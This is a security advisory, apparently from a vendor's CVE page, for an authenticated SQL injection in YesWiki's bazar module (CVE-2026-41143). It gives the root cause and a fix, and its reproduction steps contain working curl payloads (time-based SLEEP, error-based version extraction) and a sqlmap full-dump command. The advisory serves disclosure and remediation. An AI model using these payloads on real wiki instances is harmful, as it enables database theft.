Summary
Vulnerability Details
YesWiki bazar module contains a SQL injection vulnerability in tools/bazar/services/EntryManager.php at line 704. The $data['id_fiche'] value (sourced from $_POST['id_fiche']) is concatenated directly into a raw SQL query without any sanitization or parameterization.
Vulnerable Code (EntryManager.php:704):
$result = $this->dbService->loadSingle(
'SELECT MIN(time) as firsttime FROM ' . $this->dbService->prefixTable('pages') .
"WHERE tag='" . $data['id_fiche'] . "'"
);
Attack Path:
- Attacker authenticates as any user (route requires
acl:{"+"}) - POST
/api/entries/{formId}withid_fiche=' OR SLEEP(3) OR ' ApiController::createEntry()checksisEntry($_POST['id_fiche'])→ false (not existing entry) → callscreate()create()→formatDataBeforeSave()→ SQL injection at line 704
dbService->loadSingle() passes raw string to mysqli_query() with no escaping. The escape() method exists but is NOT called here.
Docker PoC confirmation:
- Normal query:
SELECT MIN(time) as firsttime FROM wiki_pages WHERE tag='TestEntry'→2024-01-01 00:00:00 - Injected:
WHERE tag='' OR SLEEP(3) OR ''→ elapsed: 3.00s (SLEEP confirmed) - Time-based blind SQLi enables full database dump via binary search
Steps to Reproduce
Prerequisites: Any authenticated user account on a YesWiki instance with a bazar form (id_typeannonce) created.
Step 1 – Obtain session cookie (standard login via web UI or API)
Step 2 – Time-based blind SQLi (confirm vulnerability):
curl -s -X POST 'http://TARGET/?api/entries/1' \
-H 'Cookie: wikini_session=<SESSION>' \
-d "antispam=1&bf_titre=TestTitle&id_fiche=' OR SLEEP(3) OR '"
→ Response delays ~3 seconds confirming SQL injection.
Step 3 – Error-based SQLi (version exfil):
curl -s -X POST 'http://TARGET/?api/entries/1' \
-H 'Cookie: wikini_session=<SESSION>' \
-d "antispam=1&bf_titre=TestTitle&id_fiche=' AND extractvalue(1,concat(0x7e,@@version))-- -"
→ Returns MySQL version in XPATH error: XPATH syntax error: '~8.4.8'
Step 4 – Full dump via sqlmap:
sqlmap -u 'http://TARGET/?api/entries/1' \
--data "antispam=1&bf_titre=T&id_fiche=test" \
-p id_fiche --cookie "wikini_session=<SESSION>" \
--dbms=MySQL --technique=BET --level=2
Docker PoC Output (confirmed)
[STEP 1] Normal input: Result (2024-01-01 00:00:00)
[STEP 2] id_fiche=' OR SLEEP(3) OR ' → Elapsed: 3.00s ← SLEEP(3) CONFIRMED
[STEP 3] id_fiche=' AND extractvalue(1,concat(0x7e,@@version))-- -
DB_ERROR: (1105, "XPATH syntax error: '~8.4.8'")
Root Cause
In tools/bazar/services/EntryManager.php line 704:
$result = $this->dbService->loadSingle(
'SELECT MIN(time) as firsttime FROM ' . $this->dbService->prefixTable('pages') .
"WHERE tag='" . $data['id_fiche'] . "'"
);
$data['id_fiche'] comes from $_POST['id_fiche'] (user input). DbService::escape() exists but is not called here. loadSingle() passes the raw string directly to mysqli_query().
Proposed Fix
Replace the vulnerable line with parameterized query or call $this->dbService->escape():
$tag = $this->dbService->escape($data['id_fiche']);
$result = $this->dbService->loadSingle(
'SELECT MIN(time) as firsttime FROM ' . $this->dbService->prefixTable('pages') .
"WHERE tag='" . $tag . "'"
);
PoC Screenshot
Impact
Untrusted input alters a database query, allowing the attacker to read or modify data the query was not intended to access. Typical impact: data disclosure or modification.
CVE-2026-41143 has a CVSS score of 8.8 (High). The vector is network-reachable, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (4.6.1); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Remediation advice
Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.
Frequently Asked Questions
- What is CVE-2026-41143? CVE-2026-41143 is a high-severity SQL injection vulnerability in yeswiki/yeswiki (composer), affecting versions <= 4.6.0. It is fixed in 4.6.1. Untrusted input alters a database query, allowing the attacker to read or modify data the query was not intended to access.
- How severe is CVE-2026-41143? CVE-2026-41143 has a CVSS score of 8.8 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of yeswiki/yeswiki are affected by CVE-2026-41143? yeswiki/yeswiki (composer) versions <= 4.6.0 is affected.
- Is there a fix for CVE-2026-41143? Yes. CVE-2026-41143 is fixed in 4.6.1. Upgrade to this version or later.
- Is CVE-2026-41143 exploitable, and should I be worried? Whether CVE-2026-41143 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-41143 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-41143? Upgrade
yeswiki/yeswikito 4.6.1 or later.